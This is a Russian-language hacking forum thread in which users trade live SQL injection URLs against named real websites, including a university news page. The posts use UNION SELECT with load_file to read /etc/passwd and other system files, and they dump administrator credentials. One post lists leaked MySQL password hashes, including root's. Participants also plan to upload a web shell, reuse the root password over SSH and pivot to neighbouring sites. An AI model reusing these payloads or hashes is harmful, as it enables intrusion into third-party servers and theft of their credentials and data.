скорее всего да если там идут числовые значения то можно попробовать так http://www.site.ru/pop/search.cgi?q=2-1 http://www.site.ru/pop/search.cgi?q=1/**/and/**/1=1 http://www.site.ru/pop/search.cgi?q=1/**/and/**/1=2 ну а так сайт в ЛС если не трудно
есть функция load_file magic_quotes_on удалось прочитать несколько файлов, вот только их содержимое несовсем понятно што из этого можна извлечь полезного (в мозиле у меня все отобразилось в непонятных кодах,в гугл хроме нормально) http://wolfpack.loyno.edu/news.php?action=view&id=-12+union+select+1,load_file%280x2f7661722f61646d2f77746d70%29,3,4,5-- /var/adm/wtmp http://wolfpack.loyno.edu/news.php?action=view&id=-12+union+select+1,load_file(0x2f6574632f75746d70),3,4,5-- /var/adm/qacct
админка: Code: forester:*676243218923905CF94CB52A3C9D3EB30CE8E20D bsimpson:*81BDE0E8E0BA1F502F94C27035B496267B88E712 mysql: Code: root:*E73484FBEEB33C026E5ADBCA26E267B837C846E3:Y
обычно читаются файлы настроек, исходники скриптов. соответсвенно от твоих целей и нужно действовать. ЗЫ Задай себе вопрос- что я хочу?
Такой вопрос по mysql-inj... Я хочу проапдейтить колонку, но про апдейтить так чтобы в нее была записана какая либа сущ. инфа из таблицы (но другой)(т.е. есть иньекция в параметре update) Как это сделать? И возможно ли?
никс ситемка ------------------ http://wolfpack.loyno.edu/news.php?action=view&id=-12+union+select+1,load_file(0x2f6574632f706173737764),3,4,5-- /etc/passwd -------------------
Code: http://wolfpack.loyno.edu/news.php?action=view&id=-12+union+select+1,concat_ws(0x3a,uname,upass),3,4,5+from+admin_users-- Spyder, а ТЫ залил шелл? )
да я /etc/passwd в первую очередь прочитал) но там всеравно сильно невыжмеш с нее( кавычка слешируется)
reverse ip => выбирай сайты - читалка у тебя есть. можно читать параметры подключения к бд и прочее. нет ничего сложного. или ищи админку хотя долго искать не придется http://wolfpack.loyno.edu/admin/ ) сложи 1+1 ) http://wolfpack.loyno.edu/news.php?action=view&id=-12+union+select+1,concat_ws(0x3a,uname,upass),3,4, 5+from+admin_users-- + http://wolfpack.loyno.edu/admin/ -- вполне может быть что пас от рута может подойти к ссш (если есть+ есть доступ)
да я если честно админку и неискал... и инжекцию нераскручивал полностю) наврядли в админке есть штото интерестное кроме хтмл) а к ssh сколько непробовал никогда рут пасс неподходил (ну я правда много и непробовал).... я думаю в данном случае шелл незалить... p.s если неправ доказуйте обратное) с удовольствием выслушаю... mailbrush утверждает што спайдер уже туда залил шелл) ну штож покажыте... в лс киньте ссылку хотябы... я несомниваюсь што здесь есть ребята которые смогут это зделать)
С того, что оно у тебя стандартное - "Нету нормальной админки, нету шелла") PS: Code: http://wolfpack.loyno.edu/news.php?action=view&id=-12+union+select+1,2,3,4,load_file(0x2F746D702F6D61696C6272757368)
можно что-нибуть выжать или дохлый номер? http://www.odz.com.ua/modules.php?name=music&d_op=last_music&pagenum='
